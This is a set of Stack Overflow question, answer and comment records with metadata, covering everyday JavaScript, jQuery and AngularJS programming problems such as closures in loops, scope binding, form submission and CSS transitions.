http://stackoverflow.com/comment/40333833
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25788601
score: 1
has text: JSON doesn't allow you to have newline character, if you remove the newline characters from the "current_status" value it validates fine. My suggestion would be to change the server side code to return it without newlines.

http://stackoverflow.com/comment/40231658
comment on: http://stackoverflow.com/a/25732423
score: 0
type: Comment
type: AnswerComment
has text: Not when you type in the input box, then try and click "Go".

http://stackoverflow.com/q/25833323
has body: I have a problem: I use Angular and I need to use pushMsg method but I don't know how can I call it, boxCtrl.pushMsg(msg) does not work. app.directive("fileread", function (socket) { return { scope: { fileread: "=" }, link: function (scope, element, attributes) { element.bind("change", function (changeEvent) { var msg = { author: 'me', class: 'me' }; // WHAT HERE??????? }); } } }); boxCtrl = function (socket, $scope) { this.messages = []; } boxCtrl.prototype = { pushMsg: function (message) { this.messages.push(message); } } app.controller('boxCtrl', boxCtrl);
has answer: http://stackoverflow.com/a/25833367
answer count: 1
has title: AngularJS call method from controller in directive?
accepted answer: http://stackoverflow.com/a/25833367
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40415875
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/40415910
type: Question
tagged with: javascript

http://stackoverflow.com/q/25801624
tagged with: php
answer count: 1
has title: Setting input value when moving 'scroll control'
score: 0
accepted answer: http://stackoverflow.com/a/25801857
tagged with: javascript
type: AnsweredQuestion
has body: I've been working on a script that lets a user set a setting using HTML5' <input type="range", I've got it to work and got it to show a value on my site, but the thing is that I want the user set setting to be posted as a form input $_POST['gearsdrag']. For clearification I'm providing a JSfiddle. http://jsfiddle.net/hqdesf70/ The input I want to be sent is But what the script set's is 6000 and that's not being sent with $_POST.So is there a way to do this or maybe with get parameters or something.I can't figure it out.
has answer: http://stackoverflow.com/a/25801857
type: Question

http://stackoverflow.com/a/25888072
type: Answer
has body: I could not solve this with serialize method however the following method works fine. If I rewrite html checkboxes with: &lt;input type="checkbox" name="params" class="parameters" value="Value1"&gt;Value1&lt;br&gt; &lt;input type="checkbox" name="params" class="parameters" value="Value2"&gt;Value2&lt;br&gt; To determine which input elements are checked in jQuery I can use: var params=''; $('.parameters:checked').each(function(){ params=params+','+$(this).val(); }); instead of: var params = {'params[]' : []}; $(":checked").each(function() { params['params[]'].push($(this).val()); }) In php if I use $_POST['params'] I get something like ,value1,value2 which can be then trimmed by substr($_POST['params'],1) OR if I want to get an array I can use explode(',',$_POST['params']); and then remove the first element which is empty by using array_slice($params,1)
score: 0
answers question: http://stackoverflow.com/q/25750806

http://stackoverflow.com/a/25790797
accepted answer of: http://stackoverflow.com/q/25790512
type: Answer
answers question: http://stackoverflow.com/q/25790512
has body: Change your JQuery to something like: $(".services-block").on({ mouseenter: function() { $(this).find(".wrap-content-services").hide(); $(this).find(".overlay-content-services").show(); }, mouseleave: function() { $(this).find(".wrap-content-services").show();`enter code here` $(this).find(".overlay-content-services").hide(); } }); $(".wrap-content-services").hide(); will hide all elements with a class of .wrap-content-services
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/40305225
has text: Sounds to me as if you rather want to use a Promise than a Stream here…
type: QuestionComment
comment on: http://stackoverflow.com/q/25771446
score: 0
type: Comment

http://stackoverflow.com/comment/40217382
comment on: http://stackoverflow.com/q/25724954
score: 1
has text: If you want that to happen you should intercept the 'enter' keycode and react properly.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40431915
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25840857
has text: Take a look at [`adoptNode`](http://help.dottoro.com/ljdfwkmx.php). But basically, when "map" is a `google.maps.Map` your approach shouldn't work in any browser, because the maps-API internally uses a reference to the document where the map has been created, the map will lose the functionality.
type: QuestionComment

http://stackoverflow.com/comment/40256623
comment on: http://stackoverflow.com/a/25742367
type: AnswerComment
has text: @Quince yes, alittle. That sounds great. Im going to a meeting now, so ill check it when ill get home.
score: 0
type: Comment

http://stackoverflow.com/q/25749071
has title: Calling a no param javascript function with a param
tagged with: javascript
answer count: 3
has comment: http://stackoverflow.com/comment/40261989
possible better answer: http://stackoverflow.com/a/25749159
downvote count: 0
tagged with: jquery
has answer: http://stackoverflow.com/a/25749159
favorite count: 0
accepted answer: http://stackoverflow.com/a/25749129
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25749286
upvote count: 1
has body: Does javascript not check function parameters when invoking. This function "test" below fires even though it is being called with no parameter. &lt;input type="button" value="test" onclick="test()"&gt; test = function(param){ alert("test"); } fiddle : http://jsfiddle.net/Yazpj/1912/ Should an error not being thrown or does the javascript engine/parser not even check function parameters when finding what to call. Does this have any implications for overriding functions ?
type: Question
has answer: http://stackoverflow.com/a/25749129

http://stackoverflow.com/a/25861361
accepted answer of: http://stackoverflow.com/q/25861336
has comment: http://stackoverflow.com/comment/40467525
has comment: http://stackoverflow.com/comment/40467501
has body: Use an anonymous function that's invoked immediately to create a new scope. This way the anonymous function of the change event becomes a closure. for (var i = 0; i &lt; products.length; i++) { for (var j = 0; j &lt; products.length; j++) { //anonymous function (outer function) (function() { var product = products[i][j]; //now the anonymous function of the change event will be called //within this new scope, with each unique product in it $(document).on('change', function () { //this is function is now a closure with scope of the outer function product.checked ? product.checked = false : product.checked = true; }; })(); } } The scope of the product variable will fall inside the anonymous function closure and each change event will have a unique product value associated. Fiddle: http://jsfiddle.net/mattdlockyer/t2h50aun/1/ Closures: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Closures Immediately Invoked Functions: http://en.wikipedia.org/wiki/Immediately-invoked_function_expression There seems to be another issue with your code, why are you checking document for change?
score: 0
has comment: http://stackoverflow.com/comment/40489799
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25861336
type: Answer
has comment: http://stackoverflow.com/comment/40467362

http://stackoverflow.com/comment/40247071
has text: doesn't seem to do the job still?
comment on: http://stackoverflow.com/a/25740584
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40272240
type: Comment
type: QuestionComment
has text: @BrianS Did you read the question? It works on hover, not on time.
score: 0
comment on: http://stackoverflow.com/q/25754176

http://stackoverflow.com/comment/40332476
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25787530
score: 0
has text: Why? The callback of `foo` function can be executed at any time.

http://stackoverflow.com/comment/40254105
comment on: http://stackoverflow.com/q/25744418
has text: I guess it's not possible to do this without using bigger javascript parts, because if you want to filter the data before sending them to the PHP it has to be somehow done and you can't do that with HTML. But in my opinion it's not ugly to do this with some jQuery, it's necessary and can also be done elegant.
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/40274598
comment on: http://stackoverflow.com/q/25755588
has text: My appropriately asked at http://ux.stackexchange.com/
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/26226339
answers question: http://stackoverflow.com/q/25822003
upvote count: 9
type: Answer
has body: I think I had your exact same problem. I had set the Phonegap config.xml variable KeepRunning to false. I set to true and now it gets the pause event when it is supposed to. Here is the config.xml line I am talking about: &lt;preference name="KeepRunning" value="true"/&gt; I suppose it makes sense that if the app is not running then the pause event code won't get run until the app runs again. I guess KeepRunning has higher priority than listening to pause event. It would be interesting to get a proper explanation as to why this is exactly at a lower level.
downvote count: 0
score: 9
has comment: http://stackoverflow.com/comment/49763141
has comment: http://stackoverflow.com/comment/83630359

http://stackoverflow.com/a/25724794
has comment: http://stackoverflow.com/comment/40217402
score: 5
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25723403
has comment: http://stackoverflow.com/comment/40217310
has body: You're going to have to leverage $apply here because it's being changed inside of the event: $scope.fileInMemory = false; $rootScope.$on('fileAdded', function () { $scope.$apply(function() { $scope.fileInMemory = true; console.log($scope.fileInMemory); }); }); UPDATE: in response to an isolated-scope causing issues, move fileInMemory to the $rootScope: $rootScope.fileInMemory = false; $rootScope.$on('fileAdded', function () { $rootScope.$apply(function() { $rootScope.fileInMemory = true; console.log($scope.fileInMemory); }); });
type: Answer
accepted answer of: http://stackoverflow.com/q/25723403
upvote count: 6
downvote count: 1

http://stackoverflow.com/q/25754004
has comment: http://stackoverflow.com/comment/40271919
answer count: 1
tagged with: javascript
tagged with: speech-recognition
type: UnansweredQuestion
has title: Unittesting the SpeechRecognition API
tagged with: google-chrome
has answer: http://stackoverflow.com/a/35729591
tagged with: testing
has comment: http://stackoverflow.com/comment/40272101
has body: The webkitSpeechRecognition api is very much a blackbox to unit test It looks like I have to speak into the browser if I want to test the api. Is anyone aware of alternate ways of testing a workflow which uses this api?
type: Question
score: 0
tagged with: webkit

http://stackoverflow.com/comment/40291792
comment on: http://stackoverflow.com/q/25765518
has text: Use [the picture element](http://responsiveimages.org/demos/variable-width/index.html) with a JavaScript shim. Don't reinvent the wheel. Especially when you level of JS skill is at the point where you are trying to write JavaScript somewhere the browser is expecting a URL.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25750938
has comment: http://stackoverflow.com/comment/40379713
has body: Transitions are added with the css3 property transition. One common reason for confusion: you can only transition properties that accept numeric values. Thus, you can't transition between display: block and display: none. However you can transition between opacity: 0 and opacity: 1 with: transition: 0.5s opacity That would look something like this: .bottomMenu { ... opacity: 0; transition: 0.5s opacity; ... } .bottomMenu.active { opacity: 1; } For your particular case, I might recommend transitioning the height between 0 and 60px. For that you can use: transition: 0.5s height So: .bottomMenu { ... height: 0; transition: 0.5s height; ... } .bottomMenu.active { height: 80px; }
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/40381774
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25750731

http://stackoverflow.com/q/25721180
accepted answer: http://stackoverflow.com/a/25731384
score: 0
has title: Summary Value Calculation with JsViews
has comment: http://stackoverflow.com/comment/40219140
has comment: http://stackoverflow.com/comment/40220113
has answer: http://stackoverflow.com/a/25731384
tagged with: jsrender
tagged with: jquery-templates
type: AnsweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/40229261
tagged with: jsviews
answer count: 1
tagged with: javascript
has body: I like to display two summary data on my page by using jsviews binding. The UI will be something like in screenshots. The user can add/remove the person from the list and it will affect the value of "No. Of People" and the user can edit integer value in textbox and the total values will be shown in "Total Amount." Yes. I managed to make it work .. Please see my code there. http://jsfiddle.net/michaelsync/eqhkzv3t/3/ But I think it's very ugly esp: this code below. function observeAmounts(){ people.forEach(function (person){ $.observe(person, 'amount', function(e) { var amount =0; people.forEach(function(person){ amount += parseInt(person.amount); }); $('#output2').html('Total Amount: ' + amount); }); }); } observeAmounts(); $.observe(people, function(e) { var l = $.map(people, function(n, i) { return i; }).length; $('#output1').html('Total No. of People: ' + l); observeAmounts(); }); Well, I am still reading up the tutorials and the source code/test of jsviews. but I am pretty much news to JsViews. In my current code, I keep on looping up the array to calculate the total amount and the count of people. I think that I might be able to register a helper class but still have to loop the 'people' array to calculate the value. So, I believe that there might be a better way in JsViews. As JsViews site refers us to post the questions here and the author of JsViews are also here, I decided to post it here to get an advance on doing those summary data. (Yes, you can also view my test code here http://jsfiddle.net/michaelsync/eqhkzv3t/3/ ) Any advice would be appreciated. Thanks!

http://stackoverflow.com/q/25761509
type: AnsweredQuestion
tagged with: watch
has title: Angular.js two-way binding do not work when update the $scope in the controller of custom directive?
has answer: http://stackoverflow.com/a/25761762
tagged with: angularjs-scope
has body: I met this when I was writing a group of directives which can contact with each other. Here is the CodePen url: http://codepen.io/jennieji/pen/mDGuw Here is the JS code: angular.module('app', []) .directive('testDirective', function() { return { controller: function($scope){ $scope.now = 0; this.update = function() { $scope.now++; }; }, link: function(scope) { scope.$watch(function(){ return scope.now; }, function(newVal, oldVal) { element.append(' [LOG] $watch now:' + newVal + ' '); }, true); scope.$watch('now', function(newVal, oldVal) { element.append(' [LOG] $watch now:' + newVal + ' '); }); } }; }) .directive('testUpdate', function() { return { require: '^testDirective', link: function(scope, element, attr, ctrl) { element.on('click', function(){ ctrl.update(); element.after(' [LOG] click now:' + scope.now + ' '); }); } } }); Here is the HTML: {{ now }} Update now
type: Question
tagged with: angularjs-directive
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25761762
score: 0
tagged with: angularjs

http://stackoverflow.com/comment/40277091
has text: @TommyDo, your fiddle demo is not working..
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25756775
score: 0

http://stackoverflow.com/q/25787010
type: Question
accepted answer: http://stackoverflow.com/a/25787545
tagged with: javascript
has title: AngularJS - How to filter a bunch of certain IDs?
score: 0
answer count: 1
favorite count: 0
has body: I want to create a filter that hides e.g. three certain IDs given. My data object look like that: $scope.subtree = [{id: 1},{id: 2},{id: 3},{id: 4},{id: 5},{id: 6},{id: 6}] I get the command to hide: [{id: 1},{id: 4},{id: 6}] Template node.id
tagged with: angularjs
has answer: http://stackoverflow.com/a/25787545
type: AnsweredQuestion
upvote count: 1
downvote count: 1

http://stackoverflow.com/a/25808549
has body: Try defining the first name before returning the value. if(gender == 'male') firstname = ... else firstName = ... return 'Your name is ' + firstname + ' ' + lastName1[lastNum1] + ' ' + lastName2[lastNum2]; I hope that helps.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25808462

http://stackoverflow.com/q/25810728
tagged with: bluebird
score: 1
possible better answer: http://stackoverflow.com/a/25811598
has title: Bluebird Promise Scope
type: Question
answer count: 2
upvote count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25810848
accepted answer: http://stackoverflow.com/a/25810848
favorite count: 0
tagged with: promise
has answer: http://stackoverflow.com/a/25811598
downvote count: 0
type: AnsweredQuestion
has body: I have just started using promises in attempt to cleanup some 'callback hell'. I've decided on trying bluebird and I am running it in the browser but immediately ran into scoping problems. Is there a way of setting the thisArg in a new Promise? The below example shows that the 'this' value inside the promise resolver is set to the browser window, but I'd like it set to the surrounding scope so I can easily access member variables. I noticed there is a .bind() method but it only scopes the 'then()' method, not the promise. I also realize I can have 'var me = this' just before the promise and use closure, but I wanted to avoid it if possible. function MyObject() { this.value = 7; } MyObject.prototype.getValue = function () { return new Promise(function (resolve) { // some request/processing that takes a long time var result = Ajax.request(...); resolve({ value: this.value, result: result }); // 'this' is set to window instead of the instance, // resulting in this.value as undefined }); } var obj = new MyObject(); obj.getValue().then(function (value) { console.log(value); // preferably outputs 7 })

http://stackoverflow.com/q/25794268
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40344512
downvote count: 0
score: 1
tagged with: jquery
favorite count: 0
type: Question
has title: Deleting public methods in Javascript modules after one use?
tagged with: module
has comment: http://stackoverflow.com/comment/40344798
has comment: http://stackoverflow.com/comment/40344672
has body: I've been using the Javascript module pattern recently, and all of it makes crystal clear sense to me except for one thing: preventing public methods from being called more than once. For instance, I may have some javascript that runs on page load that is a public method on the module that sets up buttons and actions, as well as determining visibility of elements, etc. I don't want someone to be able to call that code a second time because it could wreck the intended look and functionality of the page, and quite frankly, I can't think of a reason why I would want anyone to even know the method exists after the first call. One way to achieve this functionality would be to have a private boolean tracking whether these public methods were called, then the next time through, bail instead of executing. This is fairly common in every programming language, and could be accomplished as seen below. var Module = (function() { var _showHelloWorld = function() { jQuery('div').text('Hello World!'); }, _init = function() { if (_initCalled) { console.log('Init was already called!'); return; } _showHelloWorld(); _initCalled = true; }, _initCalled = false; return { init : _init }; })(); jQuery(function() { Module.init(); // This will not break, it will log that init was called already and bail! Module.init(); }); However, the public function remains in such a situation, and even though future calls to the method would effectively do nothing, the method still sticks around for people to see if they dig around in the console, etc. The root of my question is, why not just delete these sorts of public methods from the module after they're called? Is there a reason we wouldn't want to do this? I tried to search the web for discussions on this sort of situation, but I haven't found anything related to the topic. The following code attempts to explain my idea: var Module = (function() { var _showHelloWorld = function() { jQuery('div').text('Hello World!'); }, _init = function() { _showHell…
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/40344537
has answer: http://stackoverflow.com/a/25842655

http://stackoverflow.com/comment/40372369
has text: Note: JSONP won't help here as the server doesn't provide a JSONP service.
type: Comment
comment on: http://stackoverflow.com/a/25809718
score: 2
type: AnswerComment

http://stackoverflow.com/comment/40428013
type: Comment
comment on: http://stackoverflow.com/a/25817677
type: AnswerComment
has text: I'm still not sure what the final result should be. You say `something.first.x = first.firstX` but there is no `first` anywhere (except as a string in `parent[0]`) so that example doesn't make sense.
score: 0

http://stackoverflow.com/q/25744195
has comment: http://stackoverflow.com/comment/40255092
has answer: http://stackoverflow.com/a/25755852
accepted answer: http://stackoverflow.com/a/25755852
tagged with: fade
has title: Background slideshow (javascript) fade transition effect
type: Question
upvote count: 2
answer count: 2
has answer: http://stackoverflow.com/a/29977020
tagged with: slideshow
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40256090
favorite count: 0
has body: I am trying to apply the fade effect to the javascsript background slideshow. When I changed the value, JS ignored it. I tried fadeIn and fadeOut. What is wrong with this code? var bgimages=new Array() bgimages[0]="tenis.jpg" bgimages[1]="rtrr.jpg" bgimages[2]="tenis.jpg" //preload images var pathToImg=new Array() for (i=0;i&lt;bgimages.length;i++) { pathToImg[i]=new Image() pathToImg[i].src=bgimages[i] } var inc=-1 function bgSlide() { if (inc&lt;bgimages.length-1) inc++ else inc=0 document.body.background=pathToImg[inc].src } if (document.all||document.getElementById) window.onload=new Function('bgSlide(); setInterval("bgSlide()",3000),fade(2000)')
possible better answer: http://stackoverflow.com/a/29977020
has comment: http://stackoverflow.com/comment/42080034
tagged with: css
type: AnsweredQuestion
score: 2
downvote count: 0

http://stackoverflow.com/a/25813708
type: Answer
has body: If you use "method = get" to submit a form you need to append the data to the querystring.
answers question: http://stackoverflow.com/q/25813547
score: 0

http://stackoverflow.com/q/25721934
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40220053
favorite count: 0
has comment: http://stackoverflow.com/comment/40211531
has body: I was building something with google maps and I wrote this piece of code to fill the infowindows: mouseover: function(marker, event, context){ var numManc = context.data.num_manc; var elencoManc = ''; for(i=1;i&lt;=numManc;i++) { var mymanc = i; elencoManc = elencoManc + context.data.mancinita.mymanc.mancinita; } etc.... I alsway get this error TypeError: context.data.mancinita.mymanc is undefined. Actually what I need is that the var "elencoManc" concatenate itself N times, where N equals the var "numManc". So in the "for" loop I should get something like elencoManc = elencoManc + context.data.mancinita.1.mancinita; elencoManc = elencoManc + context.data.mancinita.2.mancinita; elencoManc = elencoManc + context.data.mancinita.3.mancinita; elencoManc = elencoManc + context.data.mancinita.N.mancinita; It seems that I cannot make that concat dynamic. This is one record stored in the array: { lat: 35.110901, lng: 12.876027, options: { icon: "icon_2.png", }, data: { nome: "Name of the sotre", indirizzo: "Address of the sotre", city: "Rome", linkStore: "http://www.storelink.com", immagine_copertina: "asset/imageStore.png", city: "Rome", num_tipi: 1, num_manc: 2, tipi_1: { icona_tipo: "asset/ico/ico2.png", tipo: "negozio_bio" }, mancinita: { 1: { icona: "iconManc2.png", idmanc: 2, mancinita: "organic" }, 2: { icona: "iconManc5.png", idmanc: 5, mancinita: "lowFat" }, }, distanza: "0.000" } } Any suggestions? Thanks
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40212080
has answer: http://stackoverflow.com/a/25722412
upvote count: 1
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40211940
has title: javascript dynamically navigate in multi dimensioned array content
tagged with: for-loop
accepted answer: http://stackoverflow.com/a/25722412
tagged with: javascript

http://stackoverflow.com/comment/67968601
score: 0
type: Comment
has text: This doesn't answer the question asked. The question is about detecting the use of an in-page back button vs the browser's native back button.
type: AnswerComment
comment on: http://stackoverflow.com/a/40135946

http://stackoverflow.com/comment/40416780
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25833848
has text: Thanks. But surely _bs is then just a copy of branch-select, so using `_bs.ref = "Lodges"` would only be updating the _bs variable?

http://stackoverflow.com/a/25869113
type: AcceptedAnswer
downvote count: 0
has body: The possibility I see is poor interpolation of your varying vTextureIndex. Try rounding it to nearest rather than down: int(vTextureIndex + 0.5). Yes, you would think this wouldn't be necessary, but GPUs use rough good-enough approximations all over the place where they're allowed to.
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25868381
score: 1
accepted answer of: http://stackoverflow.com/q/25868381

http://stackoverflow.com/q/25753254
has comment: http://stackoverflow.com/comment/40270330
tagged with: image
has comment: http://stackoverflow.com/comment/40272026
tagged with: javascript
tagged with: jquery
tagged with: crop
has body: First to say that I can't find anywhere solution. I need help with cropping image before saving it. When client browse and select u few image, with this script image will be automatically show in div. Problem is that I want to crop image : example. image width: 1230px image height: 670px I want to crop width to 670px and show that (to be 670px 670px) I have width and height of browse image, I just want to crop and show cropped image. SCRIPT : &lt;script&gt; function readURL(input) { for($i = 0;$i &lt; input.files.length;$i++) { if (input.files &amp;&amp; input.files[$i]) { var reader = new FileReader(); reader.onload = function (e) { var img = new Image; img.onload = function() { var width = img.width; // image is loaded; sizes are available var height = img.height; }; img.src = reader.result; // is the data URL because called with readAsDataURL div = $(".image-upload"); $(".image-upload").append("&lt;img id='image-upload' src='"+e.target.result+"' /&gt;"); $("#image-upload").css({ "width" : "300px", "height" : "300px" }); } reader.readAsDataURL(input.files[$i]); } } } $("#files").change(function(){ $(".image-upload").empty(); readURL(this); }); &lt;/script&gt;
has comment: http://stackoverflow.com/comment/40270457
type: UnansweredQuestion
has title: browse image and crop it immediately
has comment: http://stackoverflow.com/comment/40270255
answer count: 0
score: 0
has comment: http://stackoverflow.com/comment/40270637
has comment: http://stackoverflow.com/comment/40270411
type: Question

http://stackoverflow.com/q/25769057
tagged with: javascript
tagged with: jquery
score: -1
has answer: http://stackoverflow.com/a/25769461
has title: Calling a Object Oriented function from jQuery
tagged with: validation
favorite count: 0
accepted answer: http://stackoverflow.com/a/25769461
has comment: http://stackoverflow.com/comment/40298753
type: AnsweredQuestion
tagged with: form-submit
has body: I am kind of new to JQuery and Javascript and need your help on what I am missing here. I know the code works in jsfiddle.net but when I actually run it on my computer it's not doing anything. I want to keep the Object Oriented functions in "updated-formcheck.js" file separately. I have a form validation HTML file with a jQuery function that calls my "updated-formcheck.js" file that checks all the empty fields and returns a msg. But when a submit button is clicked, nothing happens. Can you tell me why? HTML file: &lt;script src="updated-formcheck.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script src="http://code.jquery.com/jquery-1.11.0.min.js"&gt;&lt;/script&gt; &lt;form id="myform" method="post" action="#"&gt; &lt;fieldset&gt; &lt;label for="attendee"&gt;I am a...&lt;font color="red"&gt;*&lt;/font&gt;:&lt;br /&gt; &lt;br /&gt; &lt;/label&gt; &lt;select id="attendee" name="attendee" &gt; &lt;option value=""&gt;-- Please Choose --&lt;/option&gt; &lt;option value="RETURNING" &gt;Returning Attendee&lt;/option&gt; &lt;option value="FIRST_TIME" &gt;First Time Attendee&lt;/option&gt; &lt;/select&gt; &lt;label for="fullName"&gt;&lt;br /&gt; &lt;br /&gt; Full Name&lt;font color="red"&gt;*&lt;/font&gt;:&lt;/label&gt; &lt;p&gt;&lt;input type="text" id="fullName" name="fullName" value="" /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;label for="address1"&gt;Street Address&lt;font color="red"&gt;*&lt;/font&gt;:&lt;/label&gt; &lt;p&gt; &lt;input type="text" id="address1" name="address1" value=""/&gt; &lt;/p&gt; &lt;p&gt; &lt;input type="text" id="address2" name="address2" value="" /&gt; &lt;/p&gt; &lt;label for="city"&gt;&lt;br /&gt; City&lt;font color="red"&gt;*&lt;/font&gt;:&lt;/label&gt; &lt;p&gt; &lt;input type="text" id="city" name="city" value="" /&gt; &lt;/p&gt; &lt;label for="stateProvince"&gt;&lt;br /&gt; State/County/Province:&lt;/label&gt; &lt;p&gt; &lt;input type="text" id="stateProvince" name="stateProvince" value="" /&gt; &lt;/p&gt; &lt;label for="zipPo…
has comment: http://stackoverflow.com/comment/40298473
downvote count: 1
type: Question
possible better answer: http://stackoverflow.com/a/25769445
answer count: 2
has answer: http://stackoverflow.com/a/25769445
tagged with: function
upvote count: 0

http://stackoverflow.com/q/25723208
has answer: http://stackoverflow.com/a/25723382
accepted answer: http://stackoverflow.com/a/25723382
has title: javaScript - guess tiles game
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
tagged with: css
upvote count: 0
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40213725
score: -1
has body: I am making an javaScript game - that in the end is going to be a battleship game with grid GUI and so forth. Have started making a horizontal grid with tiles (that the user can define for himself(min. 4 tiles)) When clicked a tile turns from blue to red indicating if it has been hit or not - BUT it doesn't register that if it is hit 3 times then the stats and accuracy should pop-up: etc. after 3 this it will pop-up with stats: "You took 3-4 guesses to sink my battleship and your accuracy is 30%" Instead it gives me 0 guesses and my accuracy is infinity :) I have posted my code below:
answer count: 1
tagged with: javascript
favorite count: 0

http://stackoverflow.com/comment/40428640
has text: Dup of http://stackoverflow.com/questions/14496712/web-based-epub-reader-using-javascript-and-html/14514064?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25836449
score: 1

http://stackoverflow.com/comment/40502949
score: 1
has text: You can't move the labels where you want them - you have to create labels in HTML and layer them over/under the chart.
comment on: http://stackoverflow.com/q/25868805
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40311727
has text: actually I must since the html documents are required to be strict standard (if you can say so for html5) - don't blame me, blame http://idpf.org to include only this set in epub 3.0 standard...
comment on: http://stackoverflow.com/q/25770961
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25866121
favorite count: 0
tagged with: angularjs
has body: The following AngularJS application is working with ng-repeat and an applied filter. A certain applied filter leaves no values left. How can I display a notification? js fiddle HTML #{{item.id}} Item no vals with this filter filter now AngularJS var app = angular.module('m', []); app.controller('myCtrl', function ($scope) { $scope.values = [{ id: 1 }, .... }]; $scope.filter = [1,2,3,4,5,6]; $scope.filterIds = function (ids) { return function (item) { var filter = $scope.filter; return filter.indexOf(item.id) !== -1; } } $scope.loadNewFilter = function (){ $scope.filter = [-1]; $scope.$apply(); } });
has answer: http://stackoverflow.com/a/33039526
has title: Angular js - Show message if ng-repeat is empty
upvote count: 27
downvote count: 0
has answer: http://stackoverflow.com/a/25866317
has answer: http://stackoverflow.com/a/25866333
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25866317
accepted answer: http://stackoverflow.com/a/25866322
linked to: http://stackoverflow.com/q/15316363
score: 27
has answer: http://stackoverflow.com/a/25866274
type: Question
has answer: http://stackoverflow.com/a/25866275
has answer: http://stackoverflow.com/a/35259070
answer count: 7
has answer: http://stackoverflow.com/a/25866322
tagged with: javascript

http://stackoverflow.com/comment/40446954
comment on: http://stackoverflow.com/a/25839483
has text: It was obviously something I did. That makes a lot of sense about the top margin, since that's about how much it looks to jump. I have some z-index issues with that bar, thus the margin, but I can work that out. Sorry didn't convey the font issue that well. All **iOS**: If I close the keyboard then move the page it makes the text larger by ~2x. No zoom when I have the keyboard open, but closed, any pinch zooms do some crazy stuff and close the editor. It is however, functional when it counts - when the keyboard is open.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40436065
score: 1
comment on: http://stackoverflow.com/q/25844185
has text: Yes, I don't. Do I have to use jquery to solve it?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25815416
has body: To solve that problem you should create a variable inside the submit function that has a reference to the current form. Check your code bellow with the modifications: //Form handling var form = $('.anyClass'); var formMessages = $('#form-messages'); $(form).submit(function(event) { // Current form var currentForm = $(this); // Stop the browser from submitting the form. event.preventDefault(); // Serialize the form data. var formData = currentForm.serialize(); $.ajax({ type: 'POST', url: currentForm.attr('action'), data: formData }).done(function(response) { //Do something }).fail(function(data) { //Do something }); }); Hope it helps. Good luck.
upvote count: 1
downvote count: 0
type: Answer
score: 1
answers question: http://stackoverflow.com/q/25815310

http://stackoverflow.com/a/25764144
has comment: http://stackoverflow.com/comment/40321289
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40319533
accepted answer of: http://stackoverflow.com/q/25762189
answers question: http://stackoverflow.com/q/25762189
has body: why you need any plugin or gem for this. You can easily do it with helper. In your helper : require 'date' def time_date(date) if date.year > Time.now.year date.strftime('%d/%m/%y') else date.to_date == Time.now.to_date ? date.strftime('%l:%M %P') : date.strftime('%b %d') end end in your view : <%= time_date(@model.created_at) %> As per your comment You do want to use jquery to show datetime instead of helper. So there is no direct plugin for this. But you can use this https://github.com/agschwender/jquery.formatDateTime to achieve what you want. Lets consider on your view you have following div: 2014/09/11 09:00:03 Now use jquery.formatDateTime to format div date : $(document).ready(function(){ var datetime = new Date($('.start').text()); var today = new Date(); if(today.getFullYear() > datetime.getFullYear()){ $('.start').formatDateTime('mm/dd/y'); } else{ if(today.getDate() > datetime.getDate()){ $('.start').formatDateTime('M m'); } else{ $('.start').formatDateTime('g:ii a'); } } }); Hope this help you!
upvote count: 2
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/25734596
has title: Image slider "previous" button isn't working properly
score: 0
has comment: http://stackoverflow.com/comment/40235766
has comment: http://stackoverflow.com/comment/40235686
answer count: 1
tagged with: javascript
tagged with: jquery
